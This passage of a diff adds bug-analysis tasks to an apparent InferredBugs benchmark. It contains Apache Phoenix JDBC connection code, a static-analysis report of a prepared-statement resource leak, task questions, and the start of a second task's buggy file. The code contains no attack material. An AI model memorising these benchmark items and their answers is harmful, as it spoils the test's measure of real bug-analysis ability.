+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql, String[] columnNames) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency)
+            throws SQLException {
+        if (resultSetType != ResultSet.TYPE_FORWARD_ONLY || resultSetConcurrency != ResultSet.CONCUR_READ_ONLY) {
+            throw new SQLFeatureNotSupportedException();
+        }
+        return prepareStatement(sql);
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency,
+            int resultSetHoldability) throws SQLException {
+        if (resultSetHoldability != ResultSet.CLOSE_CURSORS_AT_COMMIT) {
+            throw new SQLFeatureNotSupportedException();
+        }
+        return prepareStatement(sql, resultSetType, resultSetConcurrency);
+    }
+
+    @Override
+    public void releaseSavepoint(Savepoint savepoint) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public void rollback() throws SQLException {
+        mutationState.rollback(this);
+    }
+
+    @Override
+    public void rollback(Savepoint savepoint) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public void setAutoCommit(boolean isAutoCommit) throws SQLException {
+        this.isAutoCommit = isAutoCommit;
+    }
+
+    @Override
+    public void setCatalog(String catalog) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public void setClientInfo(Properties properties) throws SQLClientInfoException {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public void setClientInfo(String name, String value) throws SQLClientInfoException {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public void setHoldability(int holdability) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public void setReadOnly(boolean readOnly) throws SQLException {
+        if (readOnly) {
+            throw new SQLFeatureNotSupportedException();
+        }
+    }
+
+    @Override
+    public Savepoint setSavepoint() throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public Savepoint setSavepoint(String name) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public void setTransactionIsolation(int level) throws SQLException {
+        if (level != Connection.TRANSACTION_READ_COMMITTED) {
+            throw new SQLFeatureNotSupportedException();
+        }
+    }
+
+    @Override
+    public void setTypeMap(Map<String, Class<?>> map) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public boolean isWrapperFor(Class<?> iface) throws SQLException {
+        return iface.isInstance(this);
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public <T> T unwrap(Class<T> iface) throws SQLException {
+        if (!iface.isInstance(this)) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CLASS_NOT_UNWRAPPABLE)
+                .setMessage(this.getClass().getName() + " not unwrappable from " + iface.getName())
+                .build().buildException();
+        }
+        return (T)this;
+    }
+
+    @Override
+    public void setSchema(String schema) throws SQLException {
+        // TODO Auto-generated method stub
+        
+    }
+
+    @Override
+    public String getSchema() throws SQLException {
+        // TODO Auto-generated method stub
+        return null;
+    }
+
+    @Override
+    public void abort(Executor executor) throws SQLException {
+        // TODO Auto-generated method stub
+        
+    }
+
+    @Override
+    public void setNetworkTimeout(Executor executor, int milliseconds) throws SQLException {
+        // TODO Auto-generated method stub
+        
+    }
+
+    @Override
+    public int getNetworkTimeout() throws SQLException {
+        // TODO Auto-generated method stub
+        return 0;
+    }
+
+    @Override
+    public PMetaData addTable(PTable table) throws SQLException {
+        // TODO: since a connection is only used by one thread at a time,
+        // we could modify this metadata in place since it's not shared.
+        if (scn == null || scn > table.getTimeStamp()) {
+            metaData = metaData.addTable(table);
+        }
+        //Cascade through to connectionQueryServices too
+        getQueryServices().addTable(table);
+        return metaData;
+    }
+
+    @Override
+    public PMetaData addColumn(String tableName, List<PColumn> columns, long tableTimeStamp, long tableSeqNum, boolean isImmutableRows)
+            throws SQLException {
+        metaData = metaData.addColumn(tableName, columns, tableTimeStamp, tableSeqNum, isImmutableRows);
+        //Cascade through to connectionQueryServices too
+        getQueryServices().addColumn(tableName, columns, tableTimeStamp, tableSeqNum, isImmutableRows);
+        return metaData;
+    }
+
+    @Override
+    public PMetaData removeTable(String tableName) throws SQLException {
+        metaData = metaData.removeTable(tableName);
+        //Cascade through to connectionQueryServices too
+        getQueryServices().removeTable(tableName);
+        return metaData;
+    }
+
+    @Override
+    public PMetaData removeColumn(String tableName, String familyName, String columnName, long tableTimeStamp,
+            long tableSeqNum) throws SQLException {
+        metaData = metaData.removeColumn(tableName, familyName, columnName, tableTimeStamp, tableSeqNum);
+        //Cascade through to connectionQueryServices too
+        getQueryServices().removeColumn(tableName, familyName, columnName, tableTimeStamp, tableSeqNum);
+        return metaData;
+    }
+
+    protected boolean removeStatement(PhoenixStatement statement) throws SQLException {
+        return statements.remove(statement);
+   }
+
+    public KeyValueBuilder getKeyValueBuilder() {
+        return this.services.getKeyValueBuilder();
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.phoenix.jdbc.PhoenixPreparedStatement` acquired to `stmt` by call to `PhoenixPreparedStatement(...)` at line 176 is not released after line 231.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int PhoenixConnection.executeStatements(Reader,List,PrintStream)
+
+### Procedure Id:
+org.apache.phoenix.jdbc.PhoenixConnection.executeStatements(java.io.Reader,java.util.List,java.io.Pr.0a1d9b5d7ee633e0d271174ab19728bf
+
+### File:
+phoenix-core/src/main/java/org/apache/phoenix/jdbc/PhoenixConnection.java
+
+### Key:
+PhoenixConnection.java|executeStatements|RESOURCE_LEAK
+
+### Node Key:
+a18c747aa06fe73513762e994376f92e
+
+### Hash:
+2af7daa7391d4167cf247a85c25d0960
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6039/instruction.md b/inferredbugs-6039/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f4e31e580aec1660d77645403781d6a61e2b37ef
--- /dev/null
+++ b/inferredbugs-6039/instruction.md
@@ -0,0 +1,2386 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.query;
+
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES;
+import static org.apache.phoenix.query.QueryServicesOptions.DEFAULT_DROP_METADATA;
+
+import java.io.IOException;
+import java.sql.SQLException;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Properties;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import javax.annotation.concurrent.GuardedBy;
+
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.HColumnDescriptor;
+import org.apache.hadoop.hbase.HConstants;
+import org.apache.hadoop.hbase.HRegionLocation;
+import org.apache.hadoop.hbase.HTableDescriptor;
+import org.apache.hadoop.hbase.TableExistsException;
+import org.apache.hadoop.hbase.TableName;
+import org.apache.hadoop.hbase.client.Append;
+import org.apache.hadoop.hbase.client.HBaseAdmin;
+import org.apache.hadoop.hbase.client.HConnection;
+import org.apache.hadoop.hbase.client.HTableInterface;
+import org.apache.hadoop.hbase.client.Increment;
+import org.apache.hadoop.hbase.client.Mutation;
+import org.apache.hadoop.hbase.client.Result;
+import org.apache.hadoop.hbase.client.coprocessor.Batch;
+import org.apache.hadoop.hbase.coprocessor.MultiRowMutationEndpoint;
+import org.apache.hadoop.hbase.io.ImmutableBytesWritable;
+import org.apache.hadoop.hbase.ipc.BlockingRpcCallback;
+import org.apache.hadoop.hbase.ipc.ServerRpcController;
+import org.apache.hadoop.hbase.protobuf.generated.ClientProtos.MutationProto;
+import org.apache.hadoop.hbase.regionserver.IndexHalfStoreFileReaderGenerator;
+import org.apache.hadoop.hbase.regionserver.LocalIndexSplitter;
+import org.apache.hadoop.hbase.security.User;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.apache.hadoop.hbase.util.Pair;
+import org.apache.hadoop.hbase.util.VersionInfo;
+import org.apache.hadoop.hbase.zookeeper.ZKConfig;
+import org.apache.hadoop.security.UserGroupInformation;
+import org.apache.phoenix.compile.MutationPlan;
+import org.apache.phoenix.coprocessor.GroupedAggregateRegionObserver;
+import org.apache.phoenix.coprocessor.MetaDataEndpointImpl;
+import org.apache.phoenix.coprocessor.MetaDataProtocol;
+import org.apache.phoenix.coprocessor.MetaDataProtocol.MetaDataMutationResult;
+import org.apache.phoenix.coprocessor.MetaDataProtocol.MutationCode;
+import org.apache.phoenix.coprocessor.MetaDataRegionObserver;
+import org.apache.phoenix.coprocessor.ScanRegionObserver;
+import org.apache.phoenix.coprocessor.SequenceRegionObserver;
+import org.apache.phoenix.coprocessor.ServerCachingEndpointImpl;
+import org.apache.phoenix.coprocessor.UngroupedAggregateRegionObserver;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.AddColumnRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearCacheRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearCacheResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearTableFromCacheRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearTableFromCacheResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.CreateTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.DropColumnRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.DropTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetVersionRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetVersionResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.MetaDataResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.MetaDataService;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.UpdateIndexStateRequest;
+import org.apache.phoenix.exception.PhoenixIOException;
+import org.apache.phoenix.exception.SQLExceptionCode;
+import org.apache.phoenix.exception.SQLExceptionInfo;
+import org.apache.phoenix.execute.MutationState;
+import org.apache.phoenix.hbase.index.IndexRegionSplitPolicy;
+import org.apache.phoenix.hbase.index.Indexer;
+import org.apache.phoenix.hbase.index.covered.CoveredColumnsIndexBuilder;
+import org.apache.phoenix.hbase.index.util.ImmutableBytesPtr;
+import org.apache.phoenix.hbase.index.util.KeyValueBuilder;
+import org.apache.phoenix.index.PhoenixIndexBuilder;
+import org.apache.phoenix.index.PhoenixIndexCodec;
+import org.apache.phoenix.jdbc.PhoenixConnection;
+import org.apache.phoenix.jdbc.PhoenixDatabaseMetaData;
+import org.apache.phoenix.jdbc.PhoenixEmbeddedDriver.ConnectionInfo;
+import org.apache.phoenix.protobuf.ProtobufUtil;
+import org.apache.phoenix.schema.EmptySequenceCacheException;
+import org.apache.phoenix.schema.MetaDataSplitPolicy;
+import org.apache.phoenix.schema.NewerTableAlreadyExistsException;
+import org.apache.phoenix.schema.PColumn;
+import org.apache.phoenix.schema.PColumnFamily;
+import org.apache.phoenix.schema.PMetaData;
+import org.apache.phoenix.schema.PMetaDataImpl;
+import org.apache.phoenix.schema.PName;
+import org.apache.phoenix.schema.PNameFactory;
+import org.apache.phoenix.schema.PTable;
+import org.apache.phoenix.schema.PTableKey;
+import org.apache.phoenix.schema.PTableType;
+import org.apache.phoenix.schema.ReadOnlyTableException;
+import org.apache.phoenix.schema.SaltingUtil;
+import org.apache.phoenix.schema.Sequence;
+import org.apache.phoenix.schema.SequenceKey;
+import org.apache.phoenix.schema.TableAlreadyExistsException;
+import org.apache.phoenix.schema.TableNotFoundException;
+import org.apache.phoenix.schema.stats.PTableStats;
+import org.apache.phoenix.schema.stats.StatisticsUtil;
+import org.apache.phoenix.schema.types.PBoolean;
+import org.apache.phoenix.schema.types.PDataType;
+import org.apache.phoenix.util.ByteUtil;
+import org.apache.phoenix.util.Closeables;
+import org.apache.phoenix.util.ConfigUtil;
+import org.apache.phoenix.util.JDBCUtil;
+import org.apache.phoenix.util.MetaDataUtil;
+import org.apache.phoenix.util.PhoenixContextExecutor;
+import org.apache.phoenix.util.PhoenixRuntime;
+import org.apache.phoenix.util.PropertiesUtil;
+import org.apache.phoenix.util.ReadOnlyProps;
+import org.apache.phoenix.util.SchemaUtil;
+import org.apache.phoenix.util.ServerUtil;
+import org.apache.phoenix.util.UpgradeUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.google.common.base.Stopwatch;
+import com.google.common.base.Throwables;
+import com.google.common.cache.Cache;
+import com.google.common.cache.CacheBuilder;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.protobuf.HBaseZeroCopyByteString;
+
+
+public class ConnectionQueryServicesImpl extends DelegateQueryServices implements ConnectionQueryServices {
+    private static final Logger logger = LoggerFactory.getLogger(ConnectionQueryServicesImpl.class);
+    private static final int INITIAL_CHILD_SERVICES_CAPACITY = 100;
+    private static final int DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS = 1000;
+    // Max number of cached table stats for view or shared index physical tables
+    private static final int MAX_TABLE_STATS_CACHE_ENTRIES = 512;
+    protected final Configuration config;
+    // Copy of config.getProps(), but read-only to prevent synchronization that we
+    // don't need.
+    private final ReadOnlyProps props;
+    private final String userName;
+    private final ConcurrentHashMap<ImmutableBytesWritable,ConnectionQueryServices> childServices;
+    private final Cache<ImmutableBytesPtr, PTableStats> tableStatsCache;
+    
+    // Cache the latest meta data here for future connections
+    // writes guarded by "latestMetaDataLock"
+    private volatile PMetaData latestMetaData;
+    private final Object latestMetaDataLock = new Object();
+    
+    // Lowest HBase version on the cluster.
+    private int lowestClusterHBaseVersion = Integer.MAX_VALUE;
+    private boolean hasInvalidIndexConfiguration = false;
+    
+    @GuardedBy("connectionCountLock")
+    private int connectionCount = 0;
+    private final Object connectionCountLock = new Object();
+    
+    private HConnection connection;
+    private volatile boolean initialized;
+    private volatile int nSequenceSaltBuckets;
+    
+    // writes guarded by "this"
+    private volatile boolean closed;
+    
+    private volatile SQLException initializationException;
+    // setting this member variable guarded by "connectionCountLock"
+    private volatile ConcurrentMap<SequenceKey,Sequence> sequenceMap = Maps.newConcurrentMap();
+    private KeyValueBuilder kvBuilder;
+
+    private PMetaData newEmptyMetaData() {
+        long maxSizeBytes = props.getLong(QueryServices.MAX_CLIENT_METADATA_CACHE_SIZE_ATTRIB,
+                QueryServicesOptions.DEFAULT_MAX_CLIENT_METADATA_CACHE_SIZE);
+        return new PMetaDataImpl(INITIAL_META_DATA_TABLE_CAPACITY, maxSizeBytes);
+    }
+    /**
+     * Construct a ConnectionQueryServicesImpl that represents a connection to an HBase
+     * cluster.
+     * @param services base services from where we derive our default configuration
+     * @param connectionInfo to provide connection information
+     * @param info hbase configuration properties
+     * @throws SQLException
+     */
+    public ConnectionQueryServicesImpl(QueryServices services, ConnectionInfo connectionInfo, Properties info) {
+        super(services);
+        Configuration config = HBaseFactoryProvider.getConfigurationFactory().getConfiguration();
+        for (Entry<String,String> entry : services.getProps()) {
+            config.set(entry.getKey(), entry.getValue());
+        }
+        if (info != null) {
+            for (Object key : info.keySet()) {
+                config.set((String) key, info.getProperty((String) key));
+            }
+        }
+        for (Entry<String,String> entry : connectionInfo.asProps()) {
+            config.set(entry.getKey(), entry.getValue());
+        }
+
+        // Without making a copy of the configuration we cons up, we lose some of our properties
+        // on the server side during testing.
+        this.config = HBaseFactoryProvider.getConfigurationFactory().getConfiguration(config);
+        // set replication required parameter
+        ConfigUtil.setReplicationConfigIfAbsent(this.config);
+        this.props = new ReadOnlyProps(this.config.iterator());
+        this.userName = connectionInfo.getPrincipal();
+        this.latestMetaData = newEmptyMetaData();
+        // TODO: should we track connection wide memory usage or just org-wide usage?
+        // If connection-wide, create a MemoryManager here, otherwise just use the one from the delegate
+        this.childServices = new ConcurrentHashMap<ImmutableBytesWritable,ConnectionQueryServices>(INITIAL_CHILD_SERVICES_CAPACITY);
+        // find the HBase version and use that to determine the KeyValueBuilder that should be used
+        String hbaseVersion = VersionInfo.getVersion();
+        this.kvBuilder = KeyValueBuilder.get(hbaseVersion);
+        long halfStatsUpdateFreq = config.getLong(
+                QueryServices.STATS_UPDATE_FREQ_MS_ATTRIB,
+                QueryServicesOptions.DEFAULT_STATS_UPDATE_FREQ_MS) / 2;
+        tableStatsCache = CacheBuilder.newBuilder()
+                .maximumSize(MAX_TABLE_STATS_CACHE_ENTRIES)
+                .expireAfterWrite(halfStatsUpdateFreq, TimeUnit.MILLISECONDS)
+                .build();
+    }
+    
+    private void openConnection() throws SQLException {
+        try {
+            // check if we need to authenticate with kerberos
+            String clientKeytab = this.getProps().get(HBASE_CLIENT_KEYTAB);
+            String clientPrincipal = this.getProps().get(HBASE_CLIENT_PRINCIPAL);
+            if (clientKeytab != null && clientPrincipal != null) {
+                logger.info("Trying to connect to a secure cluster with keytab:" + clientKeytab);
+                UserGroupInformation.setConfiguration(config);
+                User.login(config, HBASE_CLIENT_KEYTAB, HBASE_CLIENT_PRINCIPAL, null);
+                logger.info("Successfull login to secure cluster!!");
+            }
+            this.connection = HBaseFactoryProvider.getHConnectionFactory().createConnection(this.config);
+        } catch (IOException e) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_ESTABLISH_CONNECTION)
+                .setRootCause(e).build().buildException();
+        }
+        if (this.connection.isClosed()) { // TODO: why the heck doesn't this throw above?
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_ESTABLISH_CONNECTION).build().buildException();
+        }
+    }
+
+    @Override
+    public HTableInterface getTable(byte[] tableName) throws SQLException {
+        try {
+            return HBaseFactoryProvider.getHTableFactory().getTable(tableName, connection, getExecutor());
+        } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+            byte[][] schemaAndTableName = new byte[2][];
+            SchemaUtil.getVarChars(tableName, schemaAndTableName);
+            throw new TableNotFoundException(Bytes.toString(schemaAndTableName[0]), Bytes.toString(schemaAndTableName[1]));
+        } catch (IOException e) {
+        	throw new SQLException(e);
+        } 
+    }
+    
+    @Override
+    public HTableDescriptor getTableDescriptor(byte[] tableName) throws SQLException {
+        HTableInterface htable = getTable(tableName);
+        try {
+            return htable.getTableDescriptor();
+        } catch (IOException e) {
+            if(e instanceof org.apache.hadoop.hbase.TableNotFoundException || 
+                e.getCause() instanceof org.apache.hadoop.hbase.TableNotFoundException) {
+              byte[][] schemaAndTableName = new byte[2][];
+              SchemaUtil.getVarChars(tableName, schemaAndTableName);
+              throw new TableNotFoundException(Bytes.toString(schemaAndTableName[0]), Bytes.toString(schemaAndTableName[1]));
+            } 
+            throw new RuntimeException(e);
+        } finally {
+            Closeables.closeQuietly(htable);
+        }
+    }
+
+    @Override
+    public ReadOnlyProps getProps() {
+        return props;
+    }
+
+    /**
+     * Closes the underlying connection to zookeeper. The QueryServices
+     * may not be used after that point. When a Connection is closed,
+     * this is not called, since these instances are pooled by the
+     * Driver. Instead, the Driver should call this if the QueryServices
+     * is ever removed from the pool
+     */
+    @Override
+    public void close() throws SQLException {
+        if (closed) {
+            return;
+        }
+        synchronized (this) {
+            if (closed) {
+                return;
+            }
+            closed = true;
+            SQLException sqlE = null;
+            try {
+                // Attempt to return any unused sequences.
+                if (connection != null) returnAllSequences(this.sequenceMap);
+            } catch (SQLException e) {
+                sqlE = e;
+            } finally {
+                try {
+                    childServices.clear();
+                    synchronized (latestMetaDataLock) {
+                        latestMetaData = null;
+                        latestMetaDataLock.notifyAll();
+                    }
+                    if (connection != null) connection.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                } finally {
+                    try {
+                        tableStatsCache.invalidateAll();
+                        super.close();
+                    } catch (SQLException e) {
+                        if (sqlE == null) {
+                            sqlE = e;
+                        } else {
+                            sqlE.setNextException(e);
+                        }
+                    } finally {
+                        if (sqlE != null) { throw sqlE; }
+                    }
+                }
+            }
+        }
+    }    
+
+    protected ConnectionQueryServices newChildQueryService() {
+        return new ChildQueryServices(this);
+    }
+
+    /**
+     * Get (and create if necessary) a child QueryService for a given tenantId.
+     * The QueryService will be cached for the lifetime of the parent QueryService
+     * @param tenantId the tenant ID
+     * @return the child QueryService
+     */
+    @Override
+    public ConnectionQueryServices getChildQueryServices(ImmutableBytesWritable tenantId) {
+        ConnectionQueryServices childQueryService = childServices.get(tenantId);
+        if (childQueryService == null) {
+            childQueryService = newChildQueryService();
+            ConnectionQueryServices prevQueryService = childServices.putIfAbsent(tenantId, childQueryService);
+            return prevQueryService == null ? childQueryService : prevQueryService;
+        }
+        return childQueryService;
+    }
+
+    @Override
+    public void clearTableRegionCache(byte[] tableName) throws SQLException {
+        connection.clearRegionCache(TableName.valueOf(tableName));
+    }
+    
+    @Override
+    public List<HRegionLocation> getAllTableRegions(byte[] tableName) throws SQLException {
+        /*
+         * Use HConnection.getRegionLocation as it uses the cache in HConnection, while getting
+         * all region locations from the HTable doesn't. 
+         */
+        int retryCount = 0, maxRetryCount = 1;
+        boolean reload =false;
+        while (true) {
+            try {
+                // We could surface the package projected HConnectionImplementation.getNumberOfCachedRegionLocations
+                // to get the sizing info we need, but this would require a new class in the same package and a cast
+                // to this implementation class, so it's probably not worth it.
+                List<HRegionLocation> locations = Lists.newArrayList();
+                byte[] currentKey = HConstants.EMPTY_START_ROW;
+                do {
+                  HRegionLocation regionLocation = connection.getRegionLocation(
+                      TableName.valueOf(tableName), currentKey, reload);
+                  locations.add(regionLocation);
+                  currentKey = regionLocation.getRegionInfo().getEndKey();
+                } while (!Bytes.equals(currentKey, HConstants.EMPTY_END_ROW));
+                return locations;
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                String fullName = Bytes.toString(tableName);
+                throw new TableNotFoundException(SchemaUtil.getSchemaNameFromFullName(fullName), SchemaUtil.getTableNameFromFullName(fullName));
+            } catch (IOException e) {
+                if (retryCount++ < maxRetryCount) { // One retry, in case split occurs while navigating
+                    reload = true;
+                    continue;
+                }
+                throw new SQLExceptionInfo.Builder(SQLExceptionCode.GET_TABLE_REGIONS_FAIL)
+                    .setRootCause(e).build().buildException();
+            }
+        }
+    }
+
+    @Override
+    public PMetaData addTable(PTable table) throws SQLException {
+        synchronized (latestMetaDataLock) {
+            try {
+                throwConnectionClosedIfNullMetaData();
+                // If existing table isn't older than new table, don't replace
+                // If a client opens a connection at an earlier timestamp, this can happen
+                PTable existingTable = latestMetaData.getTable(new PTableKey(table.getTenantId(), table.getName().getString()));
+                if (existingTable.getTimeStamp() >= table.getTimeStamp()) { 
+                    return latestMetaData; 
+                }
+            } catch (TableNotFoundException e) {}
+            latestMetaData = latestMetaData.addTable(table);
+            latestMetaDataLock.notifyAll();
+            return latestMetaData;
+        }
+    }
+
+    private static interface Mutator {
+        PMetaData mutate(PMetaData metaData) throws SQLException;
+    }
+
+    /**
+     * Ensures that metaData mutations are handled in the correct order
+     */
+    private PMetaData metaDataMutated(PName tenantId, String tableName, long tableSeqNum, Mutator mutator) throws SQLException {
+        synchronized (latestMetaDataLock) {
+            throwConnectionClosedIfNullMetaData();
+            PMetaData metaData = latestMetaData;
+            PTable table;
+            long endTime = System.currentTimeMillis() + DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS;
+            while (true) {
+                try {
+                    try {
+                        table = metaData.getTable(new PTableKey(tenantId, tableName));
+                        /* If the table is at the prior sequence number, then we're good to go.
+                         * We know if we've got this far, that the server validated the mutations,
+                         * so we'd just need to wait until the other connection that mutated the same
+                         * table is processed.
+                         */
+                        if (table.getSequenceNumber() + 1 == tableSeqNum) {
+                            // TODO: assert that timeStamp is bigger that table timeStamp?
+                            metaData = mutator.mutate(metaData);
+                            break;
+                        } else if (table.getSequenceNumber() >= tableSeqNum) {
+                            logger.warn("Attempt to cache older version of " + tableName + ": current= " + table.getSequenceNumber() + ", new=" + tableSeqNum);
+                            break;
+                        }
+                    } catch (TableNotFoundException e) {
+                    }
+                    long waitTime = endTime - System.currentTimeMillis();
+                    // We waited long enough - just remove the table from the cache
+                    // and the next time it's used it'll be pulled over from the server.
+                    if (waitTime <= 0) {
+                        logger.warn("Unable to update meta data repo within " + (DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS/1000) + " seconds for " + tableName);
+                        // There will never be a parentTableName here, as that would only
+                        // be non null for an index an we never add/remove columns from an index.
+                        metaData = metaData.removeTable(tenantId, tableName, null, HConstants.LATEST_TIMESTAMP);
+                        break;
+                    }
+                    latestMetaDataLock.wait(waitTime);
+                } catch (InterruptedException e) {
+                    // restore the interrupt status
+                    Thread.currentThread().interrupt();
+                    throw new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                        .setRootCause(e).build().buildException(); // FIXME
+                }
+            }
+            latestMetaData = metaData;
+            latestMetaDataLock.notifyAll();
+            return metaData;
+        }
+     }
+
+    @Override
+    public PMetaData addColumn(final PName tenantId, final String tableName, final List<PColumn> columns, final long tableTimeStamp, final long tableSeqNum, final boolean isImmutableRows) throws SQLException {
+        return metaDataMutated(tenantId, tableName, tableSeqNum, new Mutator() {
+            @Override
+            public PMetaData mutate(PMetaData metaData) throws SQLException {
+                try {
+                    return metaData.addColumn(tenantId, tableName, columns, tableTimeStamp, tableSeqNum, isImmutableRows);
+                } catch (TableNotFoundException e) {
+                    // The DROP TABLE may have been processed first, so just ignore.
+                    return metaData;
+                }
+            }
+        });
+     }
+
+    @Override
+    public PMetaData removeTable(PName tenantId, final String tableName, String parentTableName, long tableTimeStamp) throws SQLException {
+        synchronized (latestMetaDataLock) {
+            throwConnectionClosedIfNullMetaData();
+            latestMetaData = latestMetaData.removeTable(tenantId, tableName, parentTableName, tableTimeStamp);
+            latestMetaDataLock.notifyAll();
+            return latestMetaData;
+        }
+    }
+
+    @Override
+    public PMetaData removeColumn(final PName tenantId, final String tableName, final List<PColumn> columnsToRemove, final long tableTimeStamp, final long tableSeqNum) throws SQLException {
+        return metaDataMutated(tenantId, tableName, tableSeqNum, new Mutator() {
+            @Override
+            public PMetaData mutate(PMetaData metaData) throws SQLException {
+                try {
+                    return metaData.removeColumn(tenantId, tableName, columnsToRemove, tableTimeStamp, tableSeqNum);
+                } catch (TableNotFoundException e) {
+                    // The DROP TABLE may have been processed first, so just ignore.
+                    return metaData;
+                }
+            }
+        });
+    }
+
+
+    @Override
+    public PhoenixConnection connect(String url, Properties info) throws SQLException {
+        checkClosed();
+        PMetaData metadata = latestMetaData;
+        if (metadata == null) {
+            throwConnectionClosedException();
+        }
+        return new PhoenixConnection(this, url, info, metadata);
+    }
+
+
+    private HColumnDescriptor generateColumnFamilyDescriptor(Pair<byte[],Map<String,Object>> family, PTableType tableType) throws SQLException {
+        HColumnDescriptor columnDesc = new HColumnDescriptor(family.getFirst());
+        if (tableType != PTableType.VIEW) {
+            if(props.get(QueryServices.DEFAULT_KEEP_DELETED_CELLS_ATTRIB) != null){
+                columnDesc.setKeepDeletedCells(props.getBoolean(
+                    QueryServices.DEFAULT_KEEP_DELETED_CELLS_ATTRIB, QueryServicesOptions.DEFAULT_KEEP_DELETED_CELLS));
+            }
+            columnDesc.setDataBlockEncoding(SchemaUtil.DEFAULT_DATA_BLOCK_ENCODING);
+            for (Entry<String,Object> entry : family.getSecond().entrySet()) {
+                String key = entry.getKey();
+                Object value = entry.getValue();
+                columnDesc.setValue(key, value == null ? null : value.toString());
+            }
+        }
+        return columnDesc;
+    }
+
+    private void modifyColumnFamilyDescriptor(HColumnDescriptor hcd, Pair<byte[],Map<String,Object>> family) throws SQLException {
+      for (Entry<String, Object> entry : family.getSecond().entrySet()) {
+        String key = entry.getKey();
+        Object value = entry.getValue();
+        hcd.setValue(key, value == null ? null : value.toString());
+      }
+    }
+    
